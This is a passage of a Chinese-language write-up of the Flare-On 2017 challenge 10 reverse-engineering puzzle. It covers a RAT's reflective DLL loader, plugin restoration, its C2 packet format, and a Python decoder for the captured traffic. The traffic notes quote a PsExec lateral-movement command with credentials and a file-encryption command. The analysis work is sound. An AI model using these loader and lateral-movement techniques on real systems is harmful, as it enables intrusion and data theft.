if ( PE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
&& PE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size )
{
offset = base - PE->OptionalHeader.ImageBase;
for ( rel = (base + PE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
rel->SizeOfBlock;
rel = (rel + rel->SizeOfBlock) )
{
size = (rel->SizeOfBlock - 8) >> 1;
v12 = rel + 1;
for ( j = 0; j < size; ++j )
{
v6 = LOWORD(v12->VirtualAddress) >> 12;
if ( v6 )
{
if ( v6 != 3 )
{
functions.VirtualFree(base, 0, MEM_RELEASE);
return 0;
}
*(base + rel->VirtualAddress + (v12->VirtualAddress & 0xFFF)) += offset;
}
v12 = (v12 + 2);
}
}
}
if ( PE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
&& PE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size )
{
for ( entry = (base + PE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
entry->Characteristics;
++entry )
{
hModule = functions.LoadLibraryA(base + entry->Name);
if ( !hModule )
{
functions.VirtualFree(base, 0, MEM_RELEASE);
return 0;
}
thunk = (base + entry->FirstThunk);
v1 = base + entry->Characteristics;
while ( *v1 )
{
import = *v1;
if ( *v1 >= 0 )
addr = functions.GetProcAddress(hModule, &import->Name + base);
else
addr = functions.GetProcAddress(hModule, import);
if ( !*&addr )
{
functions.VirtualFree(base, 0, MEM_RELEASE);
return 0;
}
*thunk = addr;
v1 += 4;
++thunk;
}
}
}
if ( ((base + (PE->OptionalHeader.AddressOfEntryPoint ^ 0xABCDABCD)))(base, DLL_PROCESS_ATTACH, 0) )// DLLMain
return base;
functions.VirtualFree(base, 0, MEM_RELEASE);
return 0;
還原 Plugin
- 將前兩個 bytes
LM
替換成MZ
(找 MZ header) e_lfanew
則是一個 offset,該 offset 表示PE Header 的偏移位置,它位於PE檔0x3C
的位置,所以我們可以透過這個 offset 來找到 PE 檔內的 PE Header,將NOP\0
替換成PE\0\0
- 用
IMAGE_FILE_MACHINE_I386
(0x014c) 替換FileHeader.Machine
- 將
OptionalHeader.AddressOfEntryPoint
與0xABCDABCD
做 XOR,來取得 dll 的 Entry Point
還原 Plugin 的程式碼
#===========================================
# Usage: python pe.py [InputPE] [OutputPE]
#===========================================
import sys
import struct
import binascii
from pwn import *
# python pe.py pe pedump
def ReadFile():
file = open(sys.argv[1], 'rb').read().replace("\n","").decode('hex')
return ''.join(file)
ifile = open(sys.argv[1], 'rb')
ofile = open(sys.argv[2], 'wb')
# MZ header
assert ifile.read(2) == 'LM'
ofile.write('MZ')
print 'MZ header done'
# Write up to e_lfanew
ofile.write(ifile.read(0x3c-2))
e_lfanew = u32(ifile.read(4))
ofile.write(p32(e_lfanew))
ofile.write(ifile.read(e_lfanew - (0x3c + 4)))
# PE header
assert ifile.read(4) == 'NOP\0'
ofile.write('PE\0\0')
print 'PE header done'
# Machine
assert ifile.read(2) == '32' #FileHeader.Machine
ofile.write('\x4c\x01') ##IMAGE_FILE_MACHINE_I386
print 'PE.Machine done'
ofile.write(ifile.read(0x22))
# Make Entrypoint
entrypoint = u32(ifile.read(4)) ^ 0xabcdabcd
ofile.write(p32(entrypoint))
print 'Entrypoint done'
ofile.write(ifile.read())
ifile.close()
ofile.close()
print 'DLL Done'
取得 Plugins
可以在解密封包的過程,就將 Plugin 的資料存起來,或是用 Python Socket 把封包傳給 Client,當 Client 下載完後,在 InstallPlugin
函數中,查看檔案的大小為 0x113d954
再用 IDA python 來 dump Plugin
Python>file = GetManyBytes(0x5ac488, 0x34d954)
Python>open("plugin0.dll", "wb").write(file)
Python>file = GetManyBytes(0x5ac488, 0x34d954)
Python>open("plugin1.dll", "wb").write(file)
Python>file = GetManyBytes(0x5c2238, 0x34d954)
Python>open("plugin2.dll", "wb").write(file)
Python>file = GetManyBytes(0x5c2238, 0x34d954)
Python>open("plugin3.dll", "wb").write(file)
Python>file = GetManyBytes(0x5d9d90, 0x34d954)
Python>open("plugin4.dll", "wb").write(file)
Python>file = GetManyBytes(0x5d9d90, 0x34d954)
Python>open("plugin5.dll", "wb").write(file)
Python>file = GetManyBytes(0x5d9d90, 0x34d954)
Python>open("plugin6.dll", "wb").write(file)
Python>file = GetManyBytes(0x5d9d90, 0x34d954)
Python>open("plugin7.dll", "wb").write(file)
最後使用上面的 python code 還原 dll 即可
在這個階段可以從 secondstage.exe
可還原出 8 隻 dll
r.dll
t.dll
6.dll
x.dll
z.dll
f.dll
s.dll
m.dll
第四階段: 解析封包結構
透過 Python Socket 與 IDA 動態分析,可以找到 Socket 中接收 Recv
與 Send
函數,sub_403210
用於 Recv
與 Decode
,sub_403600
用於 Send
與 Encode
。其封包結構如下
Offset | Length | Contents |
---|---|---|
0x00 | 0x24 bytes | Decrypt Header |
0x24 | 0x1c bytes | Compress Header |
0x40 | 0x24 bytes | Processor Header |
0x60 | - | Data |
但初步嘗試封包解密時,只能透過未加密的前幾個封包理解 Decrypt Header
的結構,對於完整的封包結構還沒有足夠的資訊理解,在後續下載其他的 Plugin 後會獲得更完整的分析資訊。
此外,在解密封包的過程發現每個 Plugin 會有一個獨特的 ID (16 bytes) 用於識別,C2 Server 與 Client 溝通時,會呼叫某個 ID 來執行該 Plugin 的功能,從封包中我們也可以發現這些 Plugin 的 ID。
Decrypt Header (size: 0x24)
Offset | Length | Contents | Example |
---|---|---|---|
0x00 | 4 bytes | year | 32303137 |
0x04 | 4 bytes | crc32 checksum | 3f2a4b2f |
0x08 | 4 bytes | Packet header size | 24000000 |
0x0C | 4 bytes | data EncSize | 60000000 |
0x10 | 4 bytes | data DecSize | 60000000 |
0x14 | 16 bytes | (GUID) cryptor id | 51298f741667d7ed2941950106f50545 -> default |
Compress Header (size: 0x1c)
Offset | Length | Contents | Example |
---|---|---|---|
0x24 | 4 bytes | Compress header size | 1c000000 |
0x28 | 4 bytes | data EncSize | 44000000 |
0x2c | 4 bytes | data DecSize | 44000000 |
0x3c | 16 bytes | (GUID) compressor id | f37126ad88a5617eaf06000d424c5a21 -> default |
Processor Header (size: 0x24)
Offset | Length | Contents | Example |
---|---|---|---|
0x40 | 4 bytes | version | 17041720 |
0x44 | 4 bytes | cmd | 07000000 |
0x48 | 4 bytes | msgId | 08000000 |
0x4c | 4 bytes | status | 00000000 |
0x50 | 4 bytes | status | 00000000 |
0x54 | 16 bytes | (GUID) processor id | 155bbf4a1efe1517734604b9d42b80e8 -> default |
第五階段: 分析 Plugins 解密封包與還原 C2 Server
為了加速分析速度,可以 diff 看一下這些 dll 那些函數不同,不同的函數可能是該 dll 的重要功能,透過 diff 可以節省許多的時間而專注在那些重要的功能。
Decrypt ID (CRPT)
Decrypt ID | Name | Version | Context |
---|---|---|---|
51298F741667D7ED2941950106F50545 | - | - | Default |
c30b1a2dcb489ca8a724376469cf6782 | r.dll | 1.0.4 | Rc4 |
38be0f624ce274fc61f75c90cb3f5915 | t.dll | 1.1.8 | simple substitution cipher |
ba0504fcc08f9121d16fd3fed1710e60 | 6.dll | 1.0.4 | CustomBase64 |
b2e5490d2654059bbbab7f2a67fe5ff4 | x.dll | 1.0.1 | XTEA |
Compress ID (COMP)
Compress ID | Name | Version | Context |
---|---|---|---|
f37126ad88a5617eaf06000d424c5a21 | - | - | Default |
5fd8ea0e9d0a92cbe425109690ce7da2 | z.dll | 1.2.11 | Zlib |
Processor ID (CMD)
Processor ID | Name | Version | Context |
---|---|---|---|
155bbf4a1efe1517734604b9d42b80e8 | - | - | Default |
f47c51070fa8698064b65b3b6e7d30c6 | f.dll | 2.1.2 | File |
f46d09704b40275fb33790a362762e56 | s.dll | 1.1.0 | Shell |
a3aecca1cb4faa7a9a594d138a1bfbd5 | m.dll | 1.0.4 | Screen |
77d6ce92347337aeb14510807ee9d7be | p.dll | 1.3.0 | Socket |
Processor ID: f47c51070fa8698064b65b3b6e7d30c6 -> File
0x100058B0
用於 Recv
封包資料,其指令集
Command | Action |
---|---|
0x1 | GetDriveInfo: 每個 drive 0x228 bytes |
0x2 | List directory |
0x3 | Download File (to server) |
0x5 | Close File |
0x6 | Upload File (to client), 開一個檔案用於寫入,header 包含一組 SHA1 |
0x7 | 寫完檔案會產生一組 SHA1,用於與 cmd = 0x6 產生的 SHA1 比較確認是否完成 |
0x8 | Ping |
0x9 | Ping |
0xa | Ping |
Processor ID: f46d09704b40275fb33790a362762e56 -> Shell
此 plugin 用途類似 cmd.exe
,在 0x100019B0
用於 Recv
資料,而 0x100017D0
負責接收 Shell 回傳的 Response,其指令集為
Command | Action |
---|---|
0x1 | Start Shell (Windows Reverse Shell ) |
0x2 | Close Shell |
0x3 | Cmd 指令 |
0x4 | Shell Response |
Processor ID = a3aecca1cb4faa7a9a594d138a1bfbd5 -> Screen
用於螢幕截圖與傳送圖片,這裡需要理解 BMP 檔案格式,其指令集為
Command | Action |
---|---|
0x1 | Take Screenshot |
0x2 | BITMAPFILEHEADER : size, width, height, color_depths |
0x3 | Collect bitmap data |
BITMAPFILEHEADER
Header info | context |
---|---|
Size | 1064 |
width | 1418 |
hight | 730 |
color depths | 8 bit per pixel |
我們會透過這個 Plugin 獲得一個 BMP 檔案screen_1037678.bmp
裡面有後續會用到的 Zip 解壓縮密碼 infectedinfectedinfectedinfectedinfected919
Processor ID = 77d6ce92347337aeb14510807ee9d7be -> Socket
我們可以透過這個 Plugin 錄 Server 的封包,還原出更多的資訊
command | Action |
---|---|
0x1 | Start Socket |
0x2 | Colse Socket |
0x3 | Connect |
0x4 | Recv |
C2 Server (srv2.exe)、pse.exe 與 cf.exe 以及 Client 封包資訊整理
除了以上提到的 Plugins,在解密的過程我們可以從封包中收集到一些有用的資訊,例如受害者資訊與 lab10
的資訊,以及一些檔案
- 透過 m.dll 在
192.168.221.91
主機上截圖取得 zip 密碼infectedinfectedinfectedinfectedinfected919
- 透過 s.dll 查看了
c:\work\FlareOn2017\Challenge_10
目錄下 TODO.txt 文件,內容是Check with Larry about this.
- 透過 s.dll 執行
ping larryjohnson-pc
得知 Client 的 IP 為192.168.221.105
。 - 透過 f.dll 下載
pse.exe
和srv2.exe
,pse.exe
就是 Windows Sysinternals 的 PsExec,可以遠端執行指令的工具,透過pse.exe
在內網橫向移動到192.168.221.105
執行srv2.exe
,並監聽 Port16452
,其指令為pse.exe \\larryjohnson-pc -i -c -f -d -u larry.johnson -p n3v3rgunnag1veUup -accepteula srv2.exe
。而srv2.exe
就是 C2 Server,跟 Clientsecondstage.exe
,不同之處是secondstage.exe
會主動連線,而srv2.exe
是被動連線。 - 在 larryjohnson-pc 中下載用於加密的程式
c:\staging\cf.exe
- 利用加密程式
cf.exe
對lab10
進行加密,之後將原始文件刪除,並且通過 Socket 傳到 Server
原先我們只有 Client 的程式與封包,但解密完 Client 的封包後我們獲得 C2 Server 的程式與封包,接下來將會對 C2 Server 的封包進行解密,收集更多關於 lab10
的資訊。
第六階段: 解密 C2 Server 的封包
在解密完 Client 的封包後,這個階段會解密 C2 Server 的封包,還原 Server 的資訊與指令等
Decrypt ID (CRPT)
Decrypt ID | Name | Context |
---|---|---|
2965e4a19b6e9d9473f5f54dfef93533 | b.dll | Blowfish |
8746e7b7b0c1b9cf3f11ecae78a3a4bc | e.dll | SimpleXOR |
46c5525904f473ace7bb8cb58b29968a | d.dll | DES3 |
9b1f6ec7d9b42bf7758a094a2186986b | c.dll | Camellia |
Compress ID (COMP)
Compress ID | Name | Context |
---|---|---|
0a7874d2478a7713705e13dd9b31a6b1 | l.dll | Lzo |
503b6412c75a7c7558d1c92683225449 | a.dll | ApLib |
Server 的資訊
Computer Info | context |
---|---|
version | 2.1.0 |
computer name | LARRYJOHNSON-PC |
user name | larry.johnson |
group name | feye2017 srv |
Server 封包資訊整理
- 截取 BMP 圖檔 (32 bits),可能是提醒解題者解題方向與
lab10
有關
- 用
cf.exe
來加密 lab10.zip 變成lab10.zip.cry
,指令是c:\staging\cf.exe lab10.zip tCqlc2+fFiLcuq1ee1eAPOMjxcdijh8z0jrakMA/jxg=
- 刪除
lab10.zip
並關閉 shell
第七階段: 還原 lab10.zip.cry
lab10.zip.cry
是開頭為 cryp
且大小為 561972 bytes 的檔案,可以從 C2 Server 封包中 Dump 出來,因為從封包中可以看出加密程式 cf.exe
對 lab10
進行加密後會將原始文件刪除,並且通過 Socket 傳到 Server
分析加密程式 cf.exe
cf.exe
是用 .NET
寫的,可以用 dnSpy
來看。cf.exe
使用 AES 加密演算法對資料進行加密,並將資料的 sha256、路徑、文件大小、加密使用的 iv 保存在 Header,並在開頭增加 cryp
寫 decrypt 並用從 BMP 圖檔獲得的密碼來解開 infectedinfectedinfectedinfectedinfected919
取得 flag
The answer is: n3v3r_gunna_l3t_you_down_1987_4_ever@flare-on.com
附錄一: 解密封包的 PacketDecode.py
import sys
import os
import struct
import json
import string
import base64
import xtea #pip install xtea
import camellia #pip install python-camellia
from termcolor import colored
from pwn import *
from Crypto.Cipher import Blowfish
from Crypto.Cipher import DES3
plugin_data = ""
plugin_size = ""
bmp_header = ""
bmp_body = ""
file_name = ""
file_data = ""
recv_data = ""
send_data = ""
DUMP_FILE = True
######################################## read packet functions ########################################
def read_stage2_packet():
with open ('packet.json') as f:
packet = json.load(f)
return packet
def read_stage3_packet(binary):
file = open(binary).read()
return ''.join(file)
############################################ dump functions ###########################################
def hexdump(src, length=16):
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable))
return ''.join(lines)
def dump(name, data):
if DUMP_FILE:
if not os.path.exists("dump"):
os.makedirs("dump")
open("./dump/" + name, "wb").write(data)
def save_bmp(bmp_header, bmp_body):
bmp = "BM"
bmp += p32(len(bmp_header)+len(bmp_body)+14)
bmp += p32(0)
# bmp += p32(1078)
bmp += p32(54)
bmp += bmp_header
bmp += bmp_body
print colored("Save BMP", 'magenta')
dump("screen_%d.bmp" % len(bmp), bmp)
########################################## decrypt functions ##########################################
def RC4(data, key):
S = range(256);j = 0
for i in range(256):
j = (j + S[i] + ord(key[i%len(key)])) % 256
S[i], S[j] = S[j], S[i]
j = 0
i = 0
res = ""
for d in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res += chr(ord(d) ^ S[(S[i] + S[j]) % 256])
return res
def simple_substitution_cipher(body):
m = [0xC7,0x19,0x30,0x0C,0xA8,0x10,0xAD,0xD5,0xD4,0x16,0x52,0xFC,0x1B,0x82,0x7D,0x32,0x34,0x01,0xE6,0x4C,0x12,0x08,0x2B,0xF7,0xAC,0x8B,0x3F,0x67,0x48,0x72,0x21,0xDC,0xED,0xF6,0x85,0xB8,0x4F,0x5F,0x53,0x0A,0x04,0x28,0xDF,0xD8,0x7E,0x06,0x3D,0x03,0x40,0x36,0x68,0x73,0x25,0xB7,0x5D,0x1E,0xD2,0x0D,0xC6,0xC3,0x22,0xF2,0x20,0x0E,0x17,0xCC,0x60,0x5C,0x51,0xC2,0x1D,0x4A,0xCB,0x33,0x1C,0xF8,0x66,0x83,0x6B,0x3E,0x27,0xE3,0x9F,0xF5,0x3A,0xAA,0x8A,0x26,0x7F,0x5A,0x42,0xCF,0x7C,0x07,0x58,0x71,0xEB,0x05,0xBA,0x29,0x4B,0x7A,0xE0,0xEC,0x9A,0x7B,0x2E,0x37,0xFE,0xA4,0xBE,0x49,0xDE,0x00,0xC5,0xBB,0x96,0xE9,0xC4,0x79,0x99,0x87,0xF4,0x13,0x1A,0x15,0x63,0xF9,0xA0,0xD1,0x02,0xD6,0x09,0x1F,0xE5,0x92,0x6A,0xE7,0x18,0x43,0x91,0x6E,0x41,0xC8,0xA3,0xB2,0x2C,0xEE,0x8D,0xA6,0x5B,0xEF,0x24,0xB9,0x75,0x57,0x0F,0x6F,0x11,0x47,0x9B,0x3B,0x76,0xE1,0x9D,0x64,0x54,0xA7,0xC1,0x55,0xB3,0x89,0x31,0xFD,0xAB,0xB1,0x94,0xB6,0x14,0x2F,0xF3,0xBC,0x69,0xBF,0xA1,0x80,0x59,0x0B,0xBD,0xC9,0x2A,0xD7,0x81,0x3C,0x23,0xD3,0xF1,0xFA,0xEA,0x39,0x38,0x9E,0x5E,0xB5,0x45,0x61,0xFF,0x4E,0x77,0x4D,0x65,0x9C,0xE8,0xD9,0x93,0xAF,0x50,0xA2,0x84,0x88,0x78,0x98,0xE2,0x86,0xCE,0xDD,0x8C,0x8E,0xA9,0x95,0x70,0xAE,0xE4,0xCA,0x62,0xCD,0x90,0xC0,0xFB,0xB0,0xDB,0xB4,0xD0,0x97,0xF0,0x2D,0x46,0xDA,0x6C,0x6D,0x44,0x74,0xA5,0x8F,0x56,0x35]
return "".join(chr(m[ord(i)]) for i in body)
def do_base64(body):
standard_base64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
custom_base64 = 'B7wAOjbXLsD+S24/tcgHYqFRdVKTp0ixlGIMCf8zvE5eoN1uyU93Wm6rZPQaJhkn'
table = string.maketrans(custom_base64, standard_base64)
return base64.b64decode(body.translate(table))
def xtea_decrypt(key, iv, buf):
x = xtea.new(key, mode = xtea.MODE_CBC, IV = iv)
return x.decrypt(buf)
def blowfish_decrypt(key, ciphertext, iv):
bs = Blowfish.block_size
if len(ciphertext) % 8 != 0:
ciphertext += '\x00' * (8- (len(ciphertext) % 8))
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return plaintext
def des_decrypt(key, ciphertext, iv):
bs = 8
if len(ciphertext) % bs != 0:
ciphertext += '\x00' * (bs - (len(ciphertext) % bs))
cipher = DES3.new(key, DES3.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
return plaintext
def camellia_decrypt(key, ciphertext):
bs = 16
plaintext = ""
# print("c_dll -> key=%s , len(enc)=%d" % (key.encode('hex'), len(ciphertext)))
cipher = camellia.CamelliaCipher(key=key, mode=camellia.MODE_ECB)
for i in range(0, len(ciphertext), bs):
block = ciphertext[i:i+bs]
plaintext+= cipher.decrypt(block)
# print("c_dll -> len(dec)=%d" % (len(plaintext)))
return plaintext
########################################### decode functions ##########################################
def decrypt(data):
header = data[:36]
year = header[:4]
#print "year = " + year.encode('hex')
checksum = u32(header[4:8])
#print "checksum = " + hex(checksum)
header_size = u32(header[8:12])
#print "header size = " + hex(header_size)
body_size = u32(header[12:16])
#print "body size = " + hex(body_size)
plain_size = u32(header[16:20])
#print "plain size = " + hex(plain_size)
cryptor_id = header[20:].encode('hex')
body = data[header_size:header_size+body_size]
if cryptor_id == "51298f741667d7ed2941950106f50545": # default
print "crypto -> default"
return body
elif cryptor_id == "c30b1a2dcb489ca8a724376469cf6782": # rc4
print "crypto -> rc4"
key = data[36:52]
return RC4(body, key)
elif cryptor_id == "38be0f624ce274fc61f75c90cb3f5915": # Substitution
print "crypto -> Substitution"
return simple_substitution_cipher(body)
elif cryptor_id == "ba0504fcc08f9121d16fd3fed1710e60": # base64
print "crypto -> base64"
return do_base64(body)
elif cryptor_id == "b2e5490d2654059bbbab7f2a67fe5ff4": # XTEA in CBC mode
print "crypto -> XTEA"
key = data[36:52]
iv = data[52:60]
return xtea_decrypt(key, iv, body)
elif cryptor_id == "2965e4a19b6e9d9473f5f54dfef93533": # Blowfish
print "decrypt -> Blowfish"
key = data[36:52]
iv = data[52:60]
return blowfish_decrypt(key, body, iv)
elif cryptor_id == "8746e7b7b0c1b9cf3f11ecae78a3a4bc": # XOR
print "decrypt -> xor"
key = data[36:40]
return xor(body, key)
elif cryptor_id == "46c5525904f473ace7bb8cb58b29968a": # 3DES
print "decrypt -> 3des"
key = data[36:60]
iv = data[60:68]
return des_decrypt(key, body, iv)
elif cryptor_id == "9b1f6ec7d9b42bf7758a094a2186986b": # Camellia
print "decrypt -> camellia"
key = data[36:52]
return camellia_decrypt(key, body)
else:
print colored("crypto -> unknow :" + cryptor_id , "red")
def decompress(data, mode):
header = data[:28]
header_size = u32(header[0:4])
body_size = u32(header[4:8])
plain_size = u32(header[8:12])
compressor_id = header[12:28].encode('hex')
body = data[header_size:header_size+body_size]
if compressor_id == "f37126ad88a5617eaf06000d424c5a21": #default
print "compressor -> default"
return body
elif compressor_id == "5fd8ea0e9d0a92cbe425109690ce7da2": #zlib
print "compressor -> zlib"
import zlib
return zlib.decompress(body)
elif compressor_id == "503b6412c75a7c7558d1c92683225449": # aplib
import aplib
return aplib.depack_safe(body)
elif compressor_id == "0a7874d2478a7713705e13dd9b31a6b1": # lzo
plain_size = u32(header[8:12])
import lzo
return lzo.decompress(body, False, plain_size)
else:
print colored("compressor -> unknow : " + compressor_id, "red")
def plugin_cmd(data, mode):
header = data[:36]
version = header[:4].encode('hex')
cmd = u32(header[4:8])
seq = u32(header[8:12])
status1 = u32(header[12:16])
status2 = u32(header[16:20])
processor_id = header[20:36].encode('hex')
download_data = data[36:]
if processor_id == "155bbf4a1efe1517734604b9d42b80e8": # default
print "processor -> default"
download_plugin_header = download_data[:32]
download_plugin = download_data[32:]
processor_default(cmd, download_plugin_header, download_plugin, mode)
elif processor_id == "f47c51070fa8698064b65b3b6e7d30c6": #CMD file
print "processor -> file"
processor_file(cmd, download_data, mode)
elif processor_id == "f46d09704b40275fb33790a362762e56": #CMD shell
print "processor -> shell"
processor_shell(cmd, download_data, mode)
elif processor_id == "a3aecca1cb4faa7a9a594d138a1bfbd5": #CMD screen
print "processor -> screen"
processor_screen(cmd, download_data, mode)
elif processor_id == "77d6ce92347337aeb14510807ee9d7be": #CMD socket
print "processor -> socket"
processor_socket(cmd, download_data, mode)
else:
print colored("processor -> unknow: " + processor_id, "red")
########################################## processor functions ########################################
def processor_default(cmd, download_plugin_header, download_plugin, mode):
global plugin_data
global plugin_size
if cmd == 2:
print "cmd = 2 -> Processor::IsAuthed"
elif cmd == 3:
if mode == "CLIENT":
computer_info = download_plugin_header+download_plugin
version = computer_info[16:80].rstrip("\x00")
computer_name = computer_info[80:208].decode('utf16').rstrip("\x00")
user = computer_info[208:336].decode('utf16').rstrip("\x00")
group = computer_info[336:848].decode('utf16').rstrip("\x00")
others = computer_info[848:876]
print "===================== ComputerInfo ===================="
print colored("version = " + version, 'magenta')
print colored("computer name = " + computer_name, 'magenta')
print colored("user name = " + user, 'magenta')
print colored("group name = " + group, 'magenta')
print hexdump(others) #todo
elif mode == "SERVER":
"cmd = 3 -> Processor::GetComputerInfo"
elif cmd == 4:
print "cmd = 4 -> Processor::ListPlugins"
elif cmd == 5:
print "cmd = 5 -> Processor::StartDownloadPlugin"
if mode == "SERVER":
plugin_data = ""
elif cmd == 6:
print "cmd = 6 -> Processor::DowloadPlugin"
if mode == "CLIENT":
print "Downloading"
if mode == "SERVER":
plugin_id = download_plugin_header[:16].encode('hex')
plugin_type = download_plugin_header[16:20]
written = u32(download_plugin_header[20:24])
plugin_size = u32(download_plugin_header[24:28])
block = u32(download_plugin_header[28:32])
print "ID: %s | Type: %s | %d bytes (%d/%d)" % (plugin_id, plugin_type, block, written, plugin_size)
plugin_data += download_plugin
elif cmd == 7:
print "cmd = 7 -> Processor::InstallPlugin"
if mode == "SERVER":
download_plugin_id = download_plugin_header[:16].encode('hex')
download_plugin_type = download_plugin_header[16:20]
print colored("download plugin id = " + download_plugin_id, 'magenta')
dump("./plugin_%s_%s.dll" % (download_plugin_id, download_plugin_type), plugin_data)
elif cmd == 8:
print "cmd = 8 -> Processor::Exit"
elif (cmd == 9 or cmd == 10):
return "cmd = 9 or a -> Processor::Unused"
elif cmd == 11:
print "cmd = b -> Processor::MessageBox"
message = download_plugin_header + download_plugin
print "====================== MassageBox ====================="
print colored("MessageBox Title: %s " % massage[:512].decode('utf16'), 'magenta')
print colored("MassageBox Content: %s" % message[512:].decode('utf16'), 'magenta')
elif cmd == 13:
print "cmd = d -> Processor::ClearDownloadTask"
elif cmd == 14:
print "cmd = e -> Processor::Online"
if mode == "SERVER":
print "password = " + download_plugin_header.decode('utf16').rstrip("\x00")
else:
print colored("error cmd id: " + cmd, "red")
def processor_file(cmd, download_data, mode):
global file_data
global file_name
if cmd == 1:
print "file -> get drive info"
if mode == "CLIENT":
print "==============================================="
drive_size = 552 #0x228
num = len(download_data) / drive_size
for i in range(num):
print "drive " + str(i)
drive = download_data[0x228*i:0x228*(i+1)]
drive_name = drive[:4].decode('utf16').rstrip("\x00")
drive_type = drive[0x128:].decode('utf16').rstrip("\x00")
print colored("drive name = " + drive_name, "green")
print colored(drive_type, "green")
drive = ""
elif cmd == 2:
print "cmd = 2"
print colored("file -> List Directory %s" % download_data[:260].decode('utf16').rstrip("\x00"), 'green')
elif cmd == 3:
print "cmd = 3"
if mode == "CLIENT":
print "file -> Download"
elif mode == "SERVER":
file_name = download_data[16:].decode('utf16').rstrip("\x00")
print "file -> Download | %s" % file_name
file_data = ""
elif cmd == 4 :
if mode == "CLIENT":
file_id = download_data[:16].encode('hex')
sent = u64(download_data[16:24])
size = u64(download_data[24:32])
block = u64(download_data[32:40])
if sent == size:
sha1 = download_data[:20].encode('hex')
print ("file -> Download | ID: %s | Finished | SHA1: %s" % (file_id, sha1))
print colored("dump lab10.zip.cry", 'red')
dump("%s" % sha1, file_data)
else:
print ("file -> Download | ID: %s | File Response %d bytes (%d/%d) " % (file_id, block, sent, size))
file_data += download_data[40:40+block]
elif cmd == 5:
print "file -> Close file"
elif cmd == 6:
print "cmd = 6"
if mode == "CLIENT":
print "file -> Upload"
elif mode == "SERVER":
filename = download_data[52:].decode('utf16').rstrip("\x00")
fid = download_data[:16].encode('hex')
print "upload " + filename
size = u32(download_data[24:28])
sha1 = download_data[32:52].encode('hex')
print ("file -> Upload: %s | %s | Size: %d | SHA1: %s" % (filename, fid, size, sha1) )
# file_data = ""
file_name = filename.split("\\")[-1]
elif cmd == 7:
print "cmd = 7"
if mode == "SERVER":
sha1 = download_data[:16].encode('hex')
written = u32(download_data[16:20])
size = u32(download_data[24:28])
block = u32(download_data[32:36])
if block == 0:
print "file -> Upload: %s | Finished (%d/%d)" % (sha1, written, size)
print colored(("Dump file %s..." % file_name), 'green')
dump(file_name, file_data)
else:
print ("print -> Upload: %s | %d bytes (%d/%d)" % (sha1, block, written, size))
file_data += download_data[40:40+block]
elif (cmd == 8 or cmd == 9 or cmd == 10):
print "cmd = 8, 9, a file-> ping"
else:
print colored("file cmd error, cmd = %s" % cmd, 'red')
def processor_shell(cmd, download_data, mode):
if cmd == 1:
print "shell cmd -> Start"
elif cmd == 2:
print "shell cmd -> Close"
elif cmd == 3:
shell_cmd = download_data
print "shell cmd"
print colored(shell_cmd.replace("\r\n", "\\r\\n").split("\x00")[0], 'green')
elif cmd == 4:
shell_data = download_data
print "==================== shell response ===================="
print colored(shell_data.split('\x00')[0], "green")
else:
print colored("shell cmd error", "red")
def processor_screen(cmd, download_data, mode):
global bmp_header
global bmp_body
screen_data = download_data
if cmd == 1:
print "screen -> take Screenshot"
color_depths = u32(screen_data[:4]) #color depths (1, 4, 8, 16, 24, 32, or 64 bits per pixel)
print "screen -> color depths: %d bits per pixel" % (color_depths)
elif (cmd == 2 and mode == "CLIENT"):
print "screen cmd = 2"
size = u32(screen_data[:4])
bmp_header = screen_data[4:]
width = u32(bmp_header[4:8])
height = u32(bmp_header[8:12])
color_depths = u16(bmp_header[14:16])
print "screen -> Response Header | size: %d | (%d x %d) %d bit" % (size, width, height, color_depths)
elif cmd == 3:
print "screen -> collect bitmap data"
sent = u32(screen_data[0:4])
size = u32(screen_data[4:8])
block = u32(screen_data[8:12])
print "screen -> Response | %d (%d/%d)" % (block, sent, size)
bmp_body = bmp_body.ljust(sent, "\0")
bmp_body += screen_data[12:block+12]
if sent + block == size:
save_bmp(bmp_header, bmp_body)
else:
print colored("screen cmd error", "red")
def processor_socket(cmd, download_data, mode):
global send_data
global recv_data
if cmd == 1:
print "socket -> start socket"
if mode == "SERVER":
port = u32(download_data[0:4])
host = download_data[4:].rstrip("\x00")
print colored("host: %s, port: %d" % (host, port), 'magenta')
print send_data
print
elif cmd == 2:
print "socket -> colse socket"
if send_data:
print colored("dump send data to server.bin", 'magenta')
dump("server2.bin", send_data)
elif cmd == 3:
if mode == "SERVER":
print ("socket -> connect | Send: %d bytes" % len(download_data))
send_data += download_data
elif mode == "CLIENT":
print ("socket -> connect | Recv: %d bytes" % len(download_data))
recv_data += download_data
if len(download_data) == 0 and recv_data:
print colored("Dump recv data to client.bin...", 'magenta')
dump("client2.bin", recv_data)
elif cmd == 4:
print "scoket -> recv"
else:
print colored("cmd error", 'red')
########################################### packet functions ##########################################
def get_mode_by_ip(ip):
print "---------------------------------------------------------------------"
if ip == "192.168.221.91":
print colored("[Client] ", "yellow") + ip
mode = "CLIENT"
return mode
elif ip == '52.0.104.200':
print colored("[Server] ", "cyan") + ip
mode = "SERVER"
return mode
else:
print colored("get ip error", "red")
def decode_stage2_packet():
collect_data = ''
compile_data = ''
packet = read_stage2_packet()
for i in packet:
ip_src = i['_source']['layers']['ip']['ip.src'] #dict
try:
data = i['_source']['layers']['data']['data.data']
data = data.replace(":","").decode('hex')
if data[:4] == '2017':
mode = get_mode_by_ip(ip_src)
collect = data
header_len = u32(collect[8:0xc])
body_len = u32(collect[0xc:0x10])
else:
if len(collect) != (header_len+body_len) and '2017' in data:
